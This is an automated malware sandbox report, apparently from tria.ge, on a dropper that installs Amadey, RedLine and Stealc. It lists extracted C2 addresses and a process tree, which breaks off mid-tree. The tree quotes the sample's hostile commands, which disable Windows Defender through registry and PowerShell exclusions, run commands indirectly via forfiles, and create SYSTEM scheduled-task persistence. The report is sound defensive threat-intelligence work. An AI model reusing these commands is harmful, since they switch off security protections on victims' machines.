Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07/08/2024, 09:09

General

  • Target

    60a0bf469a1dbe408434a2fbe9b7b2cfb0ee06160a180e543e45cc8e982ff107.exe

  • Size

    1.8MB

  • MD5

    ee8904b675f96658c010ec91c94102c6

  • SHA1

    1838a28a91645768f1b186ef05ad797dd29fda12

  • SHA256

    60a0bf469a1dbe408434a2fbe9b7b2cfb0ee06160a180e543e45cc8e982ff107

  • SHA512

    1a6ec563191939662fafd46a976c694a6881c402d2c8c1103e50dfa093f6c40cb136cd0578b5a7b355c62efe50603bbe4128e801f5566451353a31ca25bde336

  • SSDEEP

    49152:VDaanUYEobclzT0wAAS5JKtLQpXbfMoAOeTmBxa10:hUYEOQzkAEYLeXL+OegM0

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

20.52.165.210:39030

Extracted

Family

redline

C2

185.215.113.67:21405

Extracted

Family

stealc

Botnet

default

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

redline

Botnet

BUY TG @FATHEROFCARDERS

C2

45.66.231.214:9932

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 5 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 21 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Indirect Command Execution 1 TTPs 17 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Windows security modification 2 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 31 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\60a0bf469a1dbe408434a2fbe9b7b2cfb0ee06160a180e543e45cc8e982ff107.exe
    "C:\Users\Admin\AppData\Local\Temp\60a0bf469a1dbe408434a2fbe9b7b2cfb0ee06160a180e543e45cc8e982ff107.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2588
    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4836
      • C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
        "C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:424
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:2940
        • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
          "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3300
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1692
            • C:\Users\Admin\AppData\Roaming\h9XoUFzLUU.exe
              "C:\Users\Admin\AppData\Roaming\h9XoUFzLUU.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2116
            • C:\Users\Admin\AppData\Roaming\0zwMQZV3j5.exe
              "C:\Users\Admin\AppData\Roaming\0zwMQZV3j5.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3848
        • C:\Users\Admin\AppData\Local\Temp\1000005001\newalp.exe
          "C:\Users\Admin\AppData\Local\Temp\1000005001\newalp.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
            "C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe"
            4⤵
            • Executes dropped EXE
            PID:3032
        • C:\Users\Admin\AppData\Local\Temp\1000050001\06082025.exe
          "C:\Users\Admin\AppData\Local\Temp\1000050001\06082025.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2868
        • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default.exe
          "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:5084
        • C:\Users\Admin\AppData\Local\Temp\1000069001\FILE2233.exe
          "C:\Users\Admin\AppData\Local\Temp\1000069001\FILE2233.exe"
          3⤵
          • UAC bypass
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Checks whether UAC is enabled
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:4276
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000069001\FILE2233.exe" -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1408
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
            4⤵
            • Drops startup file
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2300
            • C:\Users\Admin\Pictures\GuTcEcCNFDfRxn4taTkm5Qp2.exe
              "C:\Users\Admin\Pictures\GuTcEcCNFDfRxn4taTkm5Qp2.exe"
              5⤵
              • Executes dropped EXE
              PID:2856
              • C:\Users\Admin\AppData\Local\Temp\7zS1410.tmp\Install.exe
                .\Install.exe
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:508
                • C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe
                  .\Install.exe /OjjdidWwa "385104" /S
                  7⤵
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Enumerates system info in registry
                  PID:4100
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2456
                    • C:\Windows\SysWOW64\forfiles.exe
                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                      9⤵
                      • Indirect Command Execution
                      PID:960
                      • C:\Windows\SysWOW64\cmd.exe
                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                        10⤵
                          PID:1708
                          • \??\c:\windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                            11⤵
                              PID:1672
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                          9⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:4864
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                            10⤵
                              PID:4656
                              • \??\c:\windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                11⤵
                                • System Location Discovery: System Language Discovery
                                PID:1180
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                            9⤵
                            • Indirect Command Execution
                            • System Location Discovery: System Language Discovery
                            PID:3336
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                              10⤵
                                PID:1740
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                  11⤵
                                    PID:3484
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                9⤵
                                • Indirect Command Execution
                                PID:4584
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4812
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                    11⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4404
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                9⤵
                                • Indirect Command Execution
                                PID:4348
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                  10⤵
                                    PID:3356
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                      11⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4892
                                      • C:\Windows\SysWOW64\gpupdate.exe
                                        "C:\Windows\system32\gpupdate.exe" /force
                                        12⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2252
                              • C:\Windows\SysWOW64\forfiles.exe
                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                8⤵
                                • Indirect Command Execution
                                PID:4264
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                  9⤵
                                    PID:704
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                      10⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1360
                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                        11⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1856
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /CREATE /TN "bdLMAcyiuofwZlrejw" /SC once /ST 09:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe\" jm /VdidTsYL 385104 /S" /V1 /F
                                  8⤵
                                  • Drops file in Windows directory
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:404
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 1088
                                  8⤵
                                  • Program crash
                                  PID:1780
                          • C:\Users\Admin\Pictures\8NYxJZjsZmkPKrv00HfCzotx.exe
                            "C:\Users\Admin\Pictures\8NYxJZjsZmkPKrv00HfCzotx.exe"
                            5⤵
                            • Executes dropped EXE
                            • Checks processor information in registry
                            PID:3040
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
                          4⤵
                            PID:1188
                        • C:\Users\Admin\AppData\Local\Temp\1000090001\MYNEWRDX.exe
                          "C:\Users\Admin\AppData\Local\Temp\1000090001\MYNEWRDX.exe"
                          3⤵
                          • Executes dropped EXE
                          PID:1428
                    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                      C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                      1⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1668
                    • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                      C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                      1⤵
                      • Executes dropped EXE
                      PID:4812
                    • C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe
                      C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe jm /VdidTsYL 385104 /S
                      1⤵
                      • Executes dropped EXE
                      • Drops desktop.ini file(s)
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      PID:960
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        2⤵
                          PID:3340
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                            3⤵
                            • Indirect Command Execution
                            • System Location Discovery: System Language Discovery
                            PID:2324
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:3848
                              • \??\c:\windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                5⤵
                                  PID:1844
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                              3⤵
                              • Indirect Command Execution
                              PID:4600
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                4⤵
                                  PID:5116
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    5⤵
                                      PID:4808
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                  3⤵
                                  • Indirect Command Execution
                                  PID:2960
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    4⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1252
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                      5⤵
                                        PID:4972
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                    3⤵
                                    • Indirect Command Execution
                                    PID:3016
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                      4⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2456
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                        5⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:3180
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                    3⤵
                                    • Indirect Command Execution
                                    • System Location Discovery: System Language Discovery
                                    PID:2364
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                      4⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:1036
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                        5⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Drops file in System32 directory
                                        • System Location Discovery: System Language Discovery
                                        • Modifies data under HKEY_USERS
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2908
                                        • C:\Windows\SysWOW64\gpupdate.exe
                                          "C:\Windows\system32\gpupdate.exe" /force
                                          6⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3000
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                  2⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4268
                                  • C:\Windows\SysWOW64\cmd.exe
